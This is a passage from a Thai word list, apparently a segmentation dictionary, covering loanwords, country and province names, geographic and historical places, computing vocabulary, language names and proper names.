\\nม้านั่ง\\nมาเฟีย\\nมาม่า\\nมายองเนส\\nมายาคติ\\nมาร์ก\\nมาร์เก็ต\\nมาร์เก็ตติ้ง\\nมาร์ค\\nมาร์จิน\\nมาร์ช\\nมาร์ต\\nมาร์ท\\nมาราธอน\\nม้าหินอ่อน\\nมินต์\\nมินท์\\nมินิ\\nมิลค์\\nมิวสิค\\nมิสซัง\\nมิสไซล์\\nมิสเตอร์\\nมือถือ\\nมุมมอง\\nเมคอัพ\\nเมจิก\\nเมจิค\\nเมทัล\\nเมเปิล\\nเมาท์\\nเมี่ยงคำ\\nแมกกาซีน\\nแม็กกาซีน\\nแมคเคอเรล\\nแม่ค้า\\nแมชชีน\\nแมชีน\\nแมนชั่น\\nแมมบ้า\\nแมมโบ้\\nโมจิ\\nโมเดล\\nโมเดิร์น\\nโมเต็ล\\nโมโนเรล\\nโมหจริต\\nไมค์\\nไมเกรน\\nยนตรกรรม\\nยอมรับ\\nยะเยือก\\nยังไง\\nยากูซ่า\\nยาวี\\nยิม\\nยิว\\nยุวทูต\\nยูโทเปีย\\nยูโร\\nยูวี\\nเยน\\nเยลลี่\\nเย้ว\\nเยอบีรา\\nเยอบีร่า\\nเยอร์บีรา\\nเยอร์บีร่า\\nแยมโรล\\nโยเกิร์ต\\nโยโย่\\nรวมมิตร\\nร็อค\\nร็อคเก็ต\\nรองรับ\\nรอมฎอน\\nรอยัลตี้\\nระโงก\\nรันเวย์\\nรัม\\nรากหญ้า\\nราชบัณฑิตยสถาน\\nราชานุญาต\\nราชานุสาวรีย์\\nรามเทพ\\nรามาธิบดี\\nรามายณะ\\nราเม็ง\\nราเมน\\nรายชื่อ\\nราสเบอร์รี\\nริกเตอร์\\nริคเตอร์\\nรีไซเคิล\\nรีดไถ\\nรีทัช\\nรีเทิร์น\\nรีไทร์\\nรีแบรนด์\\nรีพอร์ท\\nรีโมต\\nรีโมท\\nรีวิว\\nรีสอร์ต\\nรีสอร์ท\\nรีเสิร์ช\\nรุมบ้า\\nรุสโซ\\nรูบิก\\nรูบิค\\nเรซิน\\nเรซิ่น\\nเรดิโอ\\nเรต\\nเรตติ้ง\\nแรงใจ\\nแรงดูด\\nแรงผลัก\\nแรลลี\\nแรลลี่\\nโรดแมป\\nโรเนียว\\nโรแมนติก\\nโรแมนติค\\nโรล\\nโรลออน\\nไรเฟิล\\nล็อกเกอร์\\nลอจิสติกส์\\nล็อต\\nล็อบบี้\\nลอร์ด\\nล้มเหลว\\nละติน\\nละอ่อน\\nลาซานญ่า\\nลาติน\\nลาเต้\\nลานีญา\\nลามะ\\nลิมิต\\nลิมูซีน\\nลิสต์\\nลีก\\nลีด\\nลีดเดอร์\\nลีเมอร์\\nลีลาวดี\\nลุค\\nลูกชาย\\nลูกสาว\\nเลกเชอร์\\nเลคเชอร์\\nเลดี้\\nเลสเบี้ยน\\nเลิฟ\\nแลนด์\\nแล็บ\\nโลโก้\\nโลชั่น\\nไลท์\\nไลน์\\nไลฟ์\\nวนาราม\\nวราราม\\nวโรกาส\\nว้อดก้า\\nวอเตอร์\\nวอฟเฟิล\\nว้อย\\nวอร์ม\\nวอร์มอัพ\\nวอร์รูม\\nวอล์ก\\nวอล์ค\\nวอลซ์\\nวอลนัต\\nวอลนัท\\nวอลล์\\nว่ะ\\nวันเวย์\\nวัสสา\\nวาซาบิ\\nวาทกรรม\\nวาทะ\\nวานิลลา\\nวานิลา\\nวาฟเฟิล\\nวาริชศาสตร์\\nว้าว\\nวัคค์\\nวัจนะ\\nวาไรตี้\\nวิก\\nวิดีโอ\\nวิทย์\\nวิน\\nวิป\\nวิปปิ้ง\\nวิภัชภาค\\nวิว\\nวิลล์\\nวิลเลจ\\nวีเจ\\nวีซ่า\\nวีดิทัศน์\\nวีน\\nวีไอพี\\nวืด\\nเวณิกา\\nเวเฟอร์\\nเวสต์\\nเวอร์\\nเวิร์ก\\nเวิร์กช็อป\\nเวิร์ค\\nเวิร์ลด์\\nเวิลด์\\nแวมไพร์\\nไวกิ้ง\\nไวเบรเตอร์\\nไวอะกร้า\\nไวอากร้า\\nศากยบุตร\\nศิรินทร์\\nศิลปวัฒนธรรม\\nศิลปากร\\nศิวิไลซ์\\nศึกษาศาสตร์\\nสกรัม\\nสกาย\\nสกู๊ป\\nสเกตช์\\nสเก็ตช์\\nสคริปต์\\nสแควร์\\nสงบสุข\\nสจ๊วต\\nสตรอเบอร์รี\\nสตรอเบอรี\\nสตรอว์เบอร์รี\\nสตริง\\nสต็อก\\nสต๊อก\\nสต็อค\\nสต๊อค\\nสตอรี\\nสตาร์\\nสตาร์ท\\nสติกเกอร์\\nสติ๊กเกอร์\\nสตีล\\nสตูดิโอ\\nสเตชัน\\nสเตชั่น\\nสเตเดียม\\nสเตนเลส\\nสเต็ป\\nสเตย์\\nสเตริโอ\\nสเตอริโอ\\nสแตนดาร์ด\\nสแตนเลส\\nสโตน\\nสโตร์\\nสไตรค์\\nสไตล์\\nสถาปัตย์\\nสไนเปอร์\\nสปอต\\nสป็อต\\nสปอนเซอร์\\nสปอร์ต\\nสปา\\nสปาย\\nสปิริต\\nสเปก\\nสเปค\\nสไปเดอร์\\nสมณพราหมณ์\\nสมาพันธ์\\nสมิติเวช\\nสโรชา\\nสลัม\\nสแล็ก\\nสโลแกน\\nสโลว์\\nสไลด์\\nสวีท\\nสหรัฐ\\nสหัชญาณ\\nสหัสวรรษ\\nสะกอม\\nสะเด่า\\nสะบึม\\nสะบึมส์\\nสะออน\\nสังโฆ\\nสะโหลสะเหล\\nสันทนาการ\\nสัมนา\\nสามช่า\\nสามแยก\\nสารขัณฑ์\\nสี่แยก\\nสึนามิ\\nสุนทรีย์\\nสุริยยาตร\\nสุริยยาตร์\\nสุหนี่\\nเสกสรรค์\\nเสพติด\\nเสือโคร่ง\\nหงวน\\nหน่อมแน้ม\\nหมวย\\nหมั่นโถว\\nหม่านโถว\\nหมายปอง\\nหมิง\\nหยวน\\nหลวงตา\\nหลวงปู่\\nหลวงพี่\\nหล่อฮังก้วย\\nหลินจือ\\nห่วย\\nเห็นด้วย\\nเหมย\\nเห่ย\\nเหี่ยวย่น\\nแหม็บ\\nแหวว\\nโหงว\\nโหงวเฮ้ง\\nโหลน\\nโหลยโท่ย\\nไหง\\nไหร่\\nอพาร์ตเมนต์\\nอพาร์ตเมนท์\\nอพาร์ทเมนต์\\nอพาร์ทเมนท์\\nอมาตยาธิปไตย\\nอยุติธรรม\\nอริยสงฆ์\\nอ่วม\\nอวอร์ด\\nออกแบบ\\nออดิชั่น\\nออดิทอเรียม\\nออเดอร์\\nออโต้\\nออทิสติก\\nอ่อนด้อย\\nออฟ\\nออยล์\\nออร์แกน\\nออร์แกนิก\\nออร์แกนิค\\nออร์เดอร์\\nออรัล\\nออสซี่\\nอะ\\nอัตลักษณ์\\nอัตวิสัย\\nอันเดอร์\\nอันตรกิริยา\\nอัลตรา\\nอัลไซเมอร์\\nอัลบัม\\nอัลบั้ม\\nอัลมอนด์\\nอาข่า\\nอาโนเนะ\\nอาฟเตอร์\\nอาร์ติสต์\\nอาร์พีจี\\nอาว์\\nอาสวะ\\nอิกัวนา\\nอินดอร์\\nอินดัสตรีส์\\nอินเตอร์\\nอิ่มแปร้\\nอิมพีเรียล\\nอิเล็กทริก\\nอิเล็กทริค\\nอิเลียด\\nอิสรชน\\nอิเหนา\\nอิออน\\nอีแต๋น\\nอีโรติก\\nอีเวนท์\\nอีสต์\\nอีสเตอร์\\nอึ๊บ\\nอึ้ม\\nอึ๋ม\\nอึมครึม\\nอุด้ง\\nอุตสาหการ\\nอุเทน\\nอุปการคุณ\\nอุปทาน\\nอุปนายก\\nอุปนายิกา\\nอุปสงค์\\nอุปัทวเหตุ\\nอุรังคธาตุ\\nอูคูเลเล่\\nอู้ฟู่\\nเอ๋\\nเอ็กซ์โป\\nเอ็กซ์เพรส\\nเอ็กโซเซต์\\nเอ็กโซเซ่ต์\\nเอเซีย\\nเอ็นจีโอ\\nเอ็นเตอร์เทน\\nเอนทรานซ์\\nเอ็นทรานซ์\\nเอฟเฟ็กต์\\nเอเยนต์\\nเอลนีโญ\\nเอสเปรสโซ\\nเอสเพรสโซ\\nเอ๋อ\\nเอาต์\\nเอาท์\\nเอาท์ดอร์\\nเอ๊าะ\\nแอ็กชั่น\\nแอ็คชั่น\\nแอคทีฟ\\nแอดมิชชั่น\\nแอดมิสชัน\\nแอนด์\\nแอ๊บแบ๊ว\\nแอปเปิล\\nแอปเปิ้ล\\nแอปพริคอท\\nแอพพริคอท\\nแอพริคอต\\nแอร์\\nแอโรบิก\\nแอโรบิค\\nแอลมอนด์\\nแอสเตอร์\\nโอเค\\nโอเปอเรเตอร์\\nโอเปร่า\\nโอเพ่น\\nโอ้ย\\nโอยัวะ\\nโอรสาธิราช\\nโอเลี้ยง\\nโอวัลติน\\nโอเวอร์\\nไอซ์\\nไอซียู\\nไอดอล\\nไอเดีย\\nไอติม\\nฮวงจุ้ย\\nฮ่องเต้\\nฮองเฮา\\nฮอต\\nฮ็อต\\nฮอตดอก\\nฮ็อตด็อก\\nฮันนีมูน\\nฮัม\\nฮัลโลวีน\\nฮัลโหล\\nฮากกา\\nฮาร์ด\\nฮาราคีรี\\nฮาลาล\\nฮาโลวีน\\nฮิ\\nฮิต\\nฮิบรู\\nฮิปโป\\nฮิปฮอป\\nฮีโร่\\nฮูลาฮูป\\nฮูล่าฮูป\\nเฮฟวี\\nเฮฟวี่\\nเฮอร์ริเคน\\nเฮีย\\nแฮนด์\\nแฮปปี้\\nแฮมเบอร์เกอร์\\nโฮป\\nโฮม\\nโฮลดิงส์\\nโฮลวีต\\nโฮสเตส\\nไฮกุ\\nไฮแจ็ค\\nไฮโซ\\nไฮเทค\\nไฮบริด\\nไฮเปอร์\\nไฮไลต์\\nไฮไลท์\\nไฮเวย์\\nไฮสคูล\\nไฮเอนด์\\n\\nกรีซ\\nกัมพูชา\\nกัวเตมาลา\\nกาตาร์\\nกานา\\nกาบอง\\nกายอานา\\nกินี\\nเกรนาดีนส์\\nเกรเนดา\\nเกาหลี\\nแกมเบีย\\nโกตดิวัวร์\\nคองโก\\nคอโมโรส\\nคอสตาริกา\\nคาซัคสถาน\\nคิตส์\\nคิริบาตี\\nคิริบาส\\nคิวบา\\nคีร์กีซสถาน\\nคูเวต\\nเคนยา\\nเคปเวิร์ด\\nเคย์แมน\\nแคนาดา\\nแคเมอรูน\\nโครเอเชีย\\nโคลอมเบีย\\nจอร์เจีย\\nจอร์แดน\\nจาเมกา\\nจิบูตี\\nจีน\\nชาด\\nชิลี\\nเช็ก\\nซามัว\\nซาอุ\\nซิมบับเว\\nซีเรีย\\nซูดาน\\nซูรินาเม\\nเซนต์\\nเซเนกัล\\nเซอร์เบีย\\nเซาตูเม\\nเซียร์รา\\nแซมเบีย\\nโซมาเลีย\\nโซเวียต\\nไซปรัส\\nญี่ปุ่น\\nดารุสซาลาม\\nเดนมาร์ก\\nโดมินิกัน\\nโดมินิกา\\nตรินิแดด\\nตองกา\\nติมอร์\\nตุรกี\\nตูนิเซีย\\nเติร์กเมนิสถาน\\nโตโก\\nโตเบโก\\nไต้หวัน\\nทาจิกิสถาน\\nแทนซาเนีย\\nนอร์เวย์\\nนามิเบีย\\nนาอูรู\\nนิการากัว\\nนิวซีแลนด์\\nเนเธอร์แลนด์\\nเนปาล\\nเนวิส\\nไนจีเรีย\\nไนเจอร์\\nบราซิล\\nบริติช\\nบริเตน\\nบรูไน\\nบอตสวานา\\nบอสเนีย\\nบังกลาเทศ\\nบังคลาเทศ\\nบัลแกเรีย\\nบาร์บูดา\\nบาร์เบโดส\\nบาห์เรน\\nบาฮามาส\\nบิสเซา\\nบุรุนดี\\nบูร์กินาฟาโซ\\nเบนิน\\nเบลเยียม\\nเบลารุส\\nเบลีซ\\nเบอร์มิวดา\\nโบลิเวีย\\nปรินซิปี\\nปากีสถาน\\nปานามา\\nปาปัวนิวกินี\\nปารากวัย\\nปาเลสไตน์\\nปาเลา\\nเปรู\\nเปอร์เซีย\\nเปอร์โตริโก\\nโปรตุเกส\\nโปแลนด์\\nฝรั่งเศส\\nพม่า\\nฟิจิ\\nฟินแลนด์\\nฟิลิปปินส์\\nเฟรนช์\\nภูฏาน\\nภูฐาน\\nมองโกเลีย\\nมอนเตเนโกร\\nมอนแทนา\\nมอริเชียส\\nมอริเตเนีย\\nมอลโดวา\\nมอลตา\\nมัลดีฟส์\\nมาเก๊า\\nมาซิโดเนีย\\nมาดากัสการ์\\nมาร์แชลล์\\nมาลาวี\\nมาลี\\nมาเลเซีย\\nเม็กซิโก\\nเมียนมาร์\\nโมซัมบิก\\nโมนาโก\\nโมนาโค\\nโมร็อกโก\\nไมโครนีเซีย\\nยูกันดา\\nยูโกสลาเวีย\\nยูเครน\\nเยเมน\\nเยอรมนี\\nรวันดา\\nรัสเซีย\\nโรมาเนีย\\nลักเซมเบิร์ก\\nลัตเวีย\\nลาว\\nลิกเตนสไตน์\\nลิทัวเนีย\\nลิเบีย\\nลีโอน\\nลูเซีย\\nเลโซโท\\nเลบานอน\\nเลสเต\\nไลบีเรีย\\nวาติกัน\\nวานูอาตู\\nวินเซนต์\\nเวเนซุเอลา\\nเวียดนาม\\nศรีลังกา\\nสเปน\\nสโลวะเกีย\\nสโลวัก\\nสโลวีเนีย\\nสวาซิแลนด์\\nสวิตเซอร์แลนด์\\nสวีเดน\\nสหรัฐ\\nสหราชอาณาจักร\\nสิกขิม\\nสิงคโปร์\\nอเมริกา\\nออสเตรเลีย\\nออสเตรีย\\nอันดอร์รา\\nอัฟกานิสถาน\\nอาเซอร์ไบจาน\\nอาร์เจนตินา\\nอาร์เมเนีย\\nอาระเบีย\\nอิเควทอเรียล\\nอิตาลี\\nอินเดีย\\nอินโดนีเซีย\\nอิรัก\\nอิสราเอล\\nอิหร่าน\\nอียิปต์\\nอุซเบกิสถาน\\nอุรุกวัย\\nเอกวาดอร์\\nเอธิโอเปีย\\nเอมิเรตส์\\nเอริเทรีย\\nเอลซัลวาดอร์\\nเอสโตเนีย\\nแองโกลา\\nแอนติกา\\nแอลจีเรีย\\nแอลเบเนีย\\nโอมาน\\nไอซ์แลนด์\\nไอร์แลนด์\\nฮ่องกง\\nฮอนดูรัส\\nฮังการี\\nเฮติ\\nเฮอร์เซโกวีนา\\n\\nกระบี่\\nกรุงเทพ\\nกาญจนบุรี\\nกาฬสินธุ์\\nกำแพงเพชร\\nขอนแก่น\\nจันทบุรี\\nฉะเชิงเทรา\\nชลบุรี\\nชัยนาท\\nชัยภูมิ\\nชุมพร\\nเชียงราย\\nเชียงใหม่\\nตรัง\\nตราด\\nตาก\\nนครนายก\\nนครปฐม\\nนครพนม\\nนครราชสีมา\\nนครศรีธรรมราช\\nนครสวรรค์\\nนนทบุรี\\nนราธิวาส\\nน่าน\\nบึงกาฬ\\nบุรีรัมย์\\nปทุมธานี\\nประจวบคีรีขันธ์\\nปราจีนบุรี\\nปัตตานี\\nพะเยา\\nพังงา\\nพัทลุง\\nพิจิตร\\nพิษณุโลก\\nเพชรบุรี\\nเพชรบูรณ์\\nแพร่\\nภูเก็ต\\nมหาสารคาม\\nมุกดาหาร\\nแม่ฮ่องสอน\\nยโสธร\\nยะลา\\nร้อยเอ็ด\\nระนอง\\nระยอง\\nราชบุรี\\nลพบุรี\\nลำปาง\\nลำพูน\\nเลย\\nศรีสะเกษ\\nสกลนคร\\nสงขลา\\nสตูล\\nสมุทรปราการ\\nสมุทรสงคราม\\nสมุทรสาคร\\nสระแก้ว\\nสระบุรี\\nสิงห์บุรี\\nสุโขทัย\\nสุพรรณบุรี\\nสุราษฎร์\\nสุราษฎร์ธานี\\nสุรินทร์\\nหนองคาย\\nหนองบัวลำภู\\nอยุธยา\\nอ่างทอง\\nอำนาจเจริญ\\nอุดรธานี\\nอุตรดิตถ์\\nอุทัยธานี\\nอุบลราชธานี\\nกันทรลักษ์\\nจตุจักร\\nไชยา\\nซีคอน\\nดอนเมือง\\nถลาง\\nไทรโยค\\nธนบุรี\\nธัญบุรี\\nบางกอก\\nบางปะกง\\nบางระจัน\\nปะทิว\\nปาย\\nพญาไท\\nพัฒน์พงษ์\\nพัทยา\\nพารากอน\\nภูมิซรอล\\nรัตนาธิเบศร์\\nรังสิต\\nลันตา\\nลาดพร้าว\\nวโรรส\\nวิภาวดี\\nสตึก\\nสมุย\\nสัตหีบ\\nสิมิลัน\\nสุขุมวิท\\nสุไหง\\nเสลภูมิ\\nอังรีดูนังต์\\nอ่างขาง\\nอินทนนท์\\nเอ็มโพเรียม\\n\\nคิวชู\\nแคริบเบียน\\nแคสเปียน\\nดานูบ\\nตะนาวศรี\\nนอร์วีเจียน\\nนิโคบาร์\\nเนรัญชรา\\nไนล์\\nบอร์เนียว\\nบอลติก\\nเบงกอล\\nปิง\\nแปซิฟิก\\nมะละกา\\nมินดาเนา\\nมิสซิสซิปปี\\nเมดิเตอร์เรเนียน\\nเมโสโปเตเมีย\\nยมุนา\\nยุโรป\\nยูเรเชีย\\nยูเรเซีย\\nแยงซี\\nแยงซีเกียง\\nสแกนดิเนเวีย\\nสะโตง\\nสาละวิน\\nสุมาตรา\\nสุเอซ\\nอะเมซอน\\nอันดามัน\\nอัลไต\\nอาร์กติก\\nอาหรับ\\nอินโดจีน\\nอิรวดี\\nอิระวดี\\nอีเจียน\\nอุษาคเณย์\\nอูราล\\nเอเชีย\\nเอเดรียติก\\nเอเวอเรสต์\\nแอตแลนติก\\nแอนตาร์กติก\\nแอนตาร์กติกา\\nแอฟริกา\\nโอลิมปัส\\nไอโอเนียน\\nฮวงโห\\nฮอกไกโด\\nฮอนชู\\n\\nกบิลพัสดุ์\\nกุสินารา\\nโกลิยะ\\nโกสัมพี\\nโคตรบอง\\nโคตรบูรณ์\\nตองอู\\nทรอย\\nทวารวดี\\nทวาราวดี\\nเทวทหะ\\nไทรบุรี\\nนาลันทา\\nไบแซนไทน์\\nปรัสเซีย\\nปัลลวะ\\nปาฏลีบุตร\\nพุทธคยา\\nมถุรา\\nมายัน\\nมิถิลา\\nราชคฤห์\\nล้านช้าง\\nล้านนา\\nลุมพินี\\nวัชชี\\nเวสาลี\\nสารนาถ\\nสาวัตถี\\nหริภุญชัย\\nอโยธยา\\nออตโตมัน\\nอังวะ\\nอินทปัตถ์\\nอุชเชนี\\n\\nกราฟิก\\nกราฟิกส์\\nกราฟิค\\nกริด\\nกิกะไบต์\\nกูเกิล\\nกูเกิ้ล\\nเกตเวย์\\nโกลบอล\\nคลัสเตอร์\\nคลาส\\nคลิก\\nคลิปอาร์ต\\nคอนโซล\\nคอนเทนต์\\nคอมพิวติ้ง\\nคอมไพล์\\nคอมไพเลอร์\\nคอมมูนิเคชั่น\\nคอร์\\nคีย์\\nคีย์บอร์ด\\nเครือข่าย\\nเคอร์เซอร์\\nเคอร์เนล\\nแคช\\nแคมฟรอก\\nแคมฟร็อก\\nแคร็ก\\nโค้ด\\nจาวา\\nจีพีเอส\\nชิป\\nชิพ\\nเชลล์\\nแช็ต\\nแชนเนล\\nแชนแนล\\nซ็อกเก็ต\\nซอฟต์แวร์\\nซอฟท์แวร์\\nซอร์ส\\nซัพพอร์ต\\nซัพพอร์ท\\nซีดี\\nซีดีรอม\\nซีเนอร์\\nเซิร์ฟเวอร์\\nโซลูชัน\\nโซลูชั่น\\nไซต์\\nไซเบอร์\\nทรานแซกชัน\\nทรานแซกชั่น\\nทรานแซ็กชัน\\nทรานแซ็กชั่น\\nทรานแซคชัน\\nทรานแซคชั่น\\nทรานแซ็คชัน\\nทรานแซ็คชั่น\\nทวิตเตอร์\\nทวีต\\nทัชแพด\\nเทมเพลต\\nเทอร์มินัล\\nแท็ก\\nแท็บ\\nแทบเล็ต\\nโทรจัน\\nเน็ต\\nเน็ตบุ๊ก\\nเน็ตบุค\\nเน็ตบุ๊ค\\nเน็ตเวิร์ก\\nเน็ตเวิร์ค\\nโน้ตบุ๊ก\\nโน้ตบุค\\nโน้ตบุ๊ค\\nดอส\\nดาวน์เกรด\\nดาวน์โหลด\\nดิจิตอล\\nดิจิทัล\\nดีบั๊ก\\nดีวีดี\\nดีไวซ์\\nเดเบียน\\nเดลไฟ\\nเดสก์ท็อป\\nโดเมน\\nไดรว์\\nไดรเวอร์\\nไดเรกทอรี\\nไดโอด\\nเทเลคอม\\nบล็อกเกอร์\\nบรอดแบนด์\\nบราวเซอร์\\nบลูทูท\\nบลูทูธ\\nบลูเรย์\\nบั๊ก\\nบัฟเฟอร์\\nบิต\\nบิท\\nบูต\\nเบราว์เซอร์\\nแบนด์วิดท์\\nไบต์\\nไบนารี\\nโปรแกรมเมอร์\\nโปรเซส\\nโปรเซสเซอร์\\nโปรโตคอล\\nพร็อกซี\\nพอร์ต\\nพอร์ท\\nพาเนล\\nพาร์ทิชัน\\nพารามิเตอร์\\nพาสเวิร์ด\\nพิกเซล\\nเพจ\\nเพจเจอร์\\nแพกเก็ต\\nแพตช์\\nแพลตฟอร์ม\\nโพรเซส\\nโพรเซสเซอร์\\nโพรโทคอล\\nไพธอน\\nฟล็อปส์\\nฟอนต์\\nฟอร์แมต\\nฟอร์เวิร์ด\\nฟอรัม\\nฟีเจอร์\\nเฟซบุ๊ก\\nเฟิร์มแวร์\\nแฟล็ก\\nโฟลเดอร์\\nไฟร์ฟอกซ์\\nไฟร์วอลล์\\nไฟล์\\nมอดูล\\nมอนิเตอร์\\nมัลติ\\nมัลติทัช\\nมัลติเพล็กซ์\\nมัลแวร์\\nมาสเตอร์\\nมีเดีย\\nเมนู\\nเมมโมรี\\nเมล\\nเมาส์\\nแมค\\nโมดูล\\nโมเด็ม\\nโมบาย\\nโมบายล์\\nโมไบล์\\nไมโครซอฟท์\\nยูนิกซ์\\nยูนิโคด\\nยูนิโค้ด\\nริงโทน\\nรีเฟรช\\nรีเลย์\\nเราเตอร์\\nเรียลไทม์\\nลิงก์\\nลินุกซ์\\nลีนุกซ์\\nลูป\\nเลเยอร์\\nแล็ปท็อป\\nไลเซนส์\\nไลบรารี\\nวิกิ\\nวิกิพีเดีย\\nวินโดวส์\\nวินโดว์ส\\nเว็บ\\nเวอร์ชวล\\nเวอร์ชัน\\nเวอร์ชั่น\\nเวิร์กสเตชัน\\nเวิร์กสเตชั่น\\nเวิร์คสเตชัน\\nเวิร์คสเตชั่น\\nเวิร์ด\\nเวิร์ม\\nไวแมกซ์\\nสกรีน\\nสแกน\\nสแกนเนอร์\\nสแต็ก\\nสนิฟเฟอร์\\nสปายแวร์\\nสเปซ\\nสแปม\\nสมาร์ท\\nสล็อต\\nเสิร์ช\\nโหลด\\nออนไลน์\\nออปติก\\nออปติคอล\\nออปติคัล\\nออฟไลน์\\nออราเคิล\\nอัพเกรด\\nอัพเดต\\nอัพโหลด\\nอัปเกรด\\nอัปเดต\\nอัปโหลด\\nอัลกอริทึม\\nอาร์กิวเมนต์\\nอินเตอร์เน็ต\\nอินทิเกรเตอร์\\nอินเทอร์เน็ต\\nอินเทอร์เฟซ\\nอินเทล\\nอินพุต\\nอินพุท\\nอีเมล\\nอีเมล์\\nอูบุนตู\\nอูบันตู\\nเอนจิน\\nเอ็นจิน\\nเอาต์พุต\\nเอาต์พุท\\nเอาท์พุต\\nเอาท์พุท\\nแอนะล็อก\\nแอนิเมชัน\\nแอนิเมชั่น\\nแอปพลิเคชัน\\nแอปพลิเคชั่น\\nแอพพลิเคชัน\\nแอพพลิเคชั่น\\nแอสเซมบลี\\nแอสเซมเบลอร์\\nโอเพน\\nไอคอน\\nไอซี\\nไอพอด\\nไอพ็อด\\nไอแพด\\nไอโฟน\\nฮับ\\nฮาร์ดดิสก์\\nฮาร์ดแวร์\\nแฮกเกอร์\\nแฮ็กเกอร์\\nแฮนด์เฮลด์\\nโฮสต์\\n\\nกรีก\\nกัณณาฑ\\nกัศมีรี\\nคันจิ\\nคาตาคานะ\\nคุชราตี\\nคุรุมุขี\\nซีริลลิก\\nซูลู\\nเซลติก\\nเซิร์บ\\nตากาล็อก\\nเตลุคู\\nเติร์ก\\nทราวิฑ\\nเบงกาลี\\nปัญจาบี\\nพินอิน\\nมลยาฬัม\\nมองโกล\\nมาราฐี\\nมาเลย์\\nเม็กซิกัน\\nแมนจู\\nแมนดาริน\\nไมถิลี\\nเยอรมัน\\nรัสเซียน\\nสวาฮิลี\\nสวิส\\nสินธี\\nอูรดู\\nอัสสมี\\nอารบิก\\nอิตาเลียน\\nอุยกูร์\\nแอฟริกัน\\nโอริยา\\nไอริช\\nฮันกึล\\nฮินดี\\nฮิรางานะ\\nฮีบรู\\n\\nกรีนพีซ\\nกรือเซะ\\nกวนอิม\\nกวนอู\\nกัดดาฟี\\nกัลยาณวัตร\\nกัสสปะ\\nกาลิเลโอ\\nกินเนส\\nกุมภกรรณ\\nกูเตนเบิร์ก\\nเกตส์\\nเกษมณี\\nโกณฑัญญะ\\nขงเบ้ง\\nคริสโตเฟอร์\\nคองคอร์ด\\nคอลเกต\\nคานธี\\nคาเบรียล\\nคาร์ฟูร์\\nคาร์สัน\\nคาราบาว\\nคาสิโอ\\nคิริน\\nคุนลุ้น\\nคูโบต้า\\nเครมลิน\\nแคทรีนา\\nโคตมะ\\nโคตมี\\nโคลัมบัส\\nไคฟง\\nไครสเลอร์\\nง้อไบ๊\\nจตุพร\\nจ็อบส์\\nจอห์น\\nจิ้น\\nจิม\\nจิ๋ม\\nจิว\\nจุฬาภรณ์\\nจุฬาลงกรณ์\\nเจมส์\\nแจ็กสัน\\nโจเซฟ\\nโจว\\nชมัยมรุเชฐ\\nชมัยมรุเชษฐ์\\nชเวดากอง\\nชาร์ลส์\\nชินราช\\nชินวัตร\\nชุนชิว\\nเช็ง\\nเชตวัน\\nเชฟรอน\\nเชฟโรเลต\\nเชลซี\\nไชยานุชิต\\nซ่ง\\nซังฮี้\\nซัดดัม\\nซันซิล\\nซัมซุง\\nซัวเจ๋ง\\nซินหัว\\nซีซาร์\\nซีแพค\\nซูซาน\\nซูซูกิ\\nซูบารุ\\nเซ็นทารา\\nเซเวน\\nเซเว่น\\nโซฟิเทล\\nโซยุซ\\nโซยูซ\\nณัฐวุฒิ\\nดาร์ลี่\\nดาวโจนส์\\nดิสนีย์\\nดีแทค\\nดูปองท์\\nเดโมแครต\\nเดลล์\\nเดลินิวส์\\nเดวิด\\nแดวู\\nโดนัลด์\\nโดราเอมอน\\nโดเรมอน\\nต๋อง\\nตั๊กม้อ\\nตากสิน\\nตาเมือน\\nตาลีบัน\\nตูน\\nเตมีย์\\nโต๋\\nโตชิบา\\nโตโยต้า\\nถังซัมจั๋ง\\nถังซำจั๋ง\\nทรพา\\nทราเวล\\nทรูมูฟ\\nทีปังกร\\nเทปโก\\nเทพรัตน\\nเทวทัต\\nเทสโก้\\nโทมัส\\nไททานิก\\nไททานิค\\nไทยรัฐ\\nธีออส\\nนครินทรา\\nนโปเลียน\\nนพดล\\nนราดูร\\nนเรนทร\\nนอสตราดามุส\\nนาซา\\nนาซ่า\\nนาซี\\nนาโต\\nนาโต้\\nนาลแก\\nนิคอน\\nนิโคลัส\\nนิด้า\\nนินเทนโด\\nนิปปอน\\nนิวตัน\\nนิสสัน\\nเนคเทค\\nเนชั่น\\nเนชันแนล\\nเนชั่นแนล\\nเนวิน\\nเนสเล่\\nเนสาด\\nแนท\\nแนสแดค\\nโนเกีย\\nโนเบล\\nโนเวลล์\\nโนโวเทล\\nไนเม็กซ์\\nบรอดเวย์\\nบรัดเลย์\\nบรู๊ซ\\nบัลเมอร์\\nบารัก\\nบารัค\\nบู๊ตึ๊ง\\nเบญกาย\\nเบนซ์\\nเบ็นซ์\\nเบนจามิน\\nโบตัน\\nไบโอเทค\\nประชาธิปัตย์\\nปวีณา\\nปอเต็กตึ๊ง\\nปอเต๊กตึ๊ง\\nป่อเต็กตึ๊ง\\nปัตตะโชติ\\nปารุสก์\\nปีเตอร์\\nปูติน\\nเป๊ปซี่\\nเป้ย\\nเปอร์โยต์\\nเปาบุ้นจิ้น\\nโปเกมอน\\nโป๊ยก่าย\\nพรหมทัต\\nพลาโต\\nพอลล่า\\nพานาโซนิค\\nพานาโซนิก\\nพิทยานุกูล\\nพิมพิสาร\\nเพนแทกซ์\\nเพลโต\\nไพโอเนียร์\\nฟรอยด์\\nฟรังซิส\\nฟรานซิส\\nฟลอเรนซ์\\nฟอร์ด\\nฟิลิปส์\\nฟูจิ\\nแฟซ่า\\nโฟร์โมสต์\\nภูมิพล\\nภูริทัต\\nมงฟอร์ต\\nมณโฑ\\nมติชน\\nมหิตลาธิเบศร\\nมโหสถ\\nมัจฉานุ\\nมาร์กาเร็ต\\nมาร์ติน\\nมาสด้า\\nมิตซูบิชิ\\nมิราเคิล\\nมุสโสลินี\\nเม้ง\\nเมจิ\\nเมอร์ซีเดส\\nเมอร์เซเดส\\nแมกซ์เวลล์\\nแมกไซไซ\\nแมคอินทอช\\nแมชีนเนอรี่\\nโมคคัลลานะ\\nโมโตโรลา\\nโมโตโรล่า\\nโมเนีย\\nไมเคิล\\nไมยราพณ์\\nยโสธรา\\nยะโฮวา\\nยะโฮวาห์\\nยามาฮ่า\\nยาเวห์\\nยาฮู\\nยูนิเซฟ\\nยูเนสโก\\nยูไล\\nเยโฮวาห์\\nรอยเตอร์\\nรอยัล\\nรัชดา\\nรัสปูติน\\nราฟาเอล\\nรามาวตาร\\nราเมศวร\\nราหุล\\nริชาร์ด\\nรีพับลิกัน\\nรูนีย์\\nเรนโบว์\\nแรมโบ้\\nโรตารี\\nโรนัลโด\\nโรนัลโด้\\nโรบินสัน\\nโรเบิร์ต\\nล็อกซเล่ย์\\nลิงคอล์น\\nลิจฉวี\\nลิไท\\nลิไทย\\nลินคอล์น\\nลิเวอร์พูล\\